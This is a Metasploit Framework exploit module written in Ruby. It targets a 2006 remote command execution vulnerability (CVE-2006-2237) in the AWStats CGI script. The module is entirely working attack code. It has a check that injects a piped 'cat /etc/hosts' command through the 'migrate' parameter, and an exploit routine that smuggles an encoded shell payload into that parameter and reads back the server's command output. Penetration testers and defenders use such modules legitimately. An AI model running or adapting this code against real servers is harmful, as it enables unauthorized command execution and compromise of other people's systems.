##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AWStats migrate Remote Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in the
          AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
          payloads are recommended with this module. The vulnerability is only
          present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
          configuration file (non-default).
      },
      'Author'         => [ 'patrick' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2006-2237'],
          ['OSVDB', '25284'],
          ['BID', '17844'],
          ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],
          ['URL', 'http://www.milw0rm.com/exploits/1755'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'May 04 2006',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
          OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),
        ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'      => datastore['URI'],
      'vars_get' =>
      {
        'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
      }
    }, 25)

    if (res and res.body.match(/localhost/))
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)
    sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"

    res = send_request_raw({
      'uri'     => sploit,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")

      m = res.body.match(/YYY\n(.*)\nYYY/m)

      if (m)
        print_status("Command output from the server:")
        print("\n" + m[1] + "\n\n")
      else
        print_status("This server may not be vulnerable")
      end
    else
      print_status("No response from the server")
    end
  end

end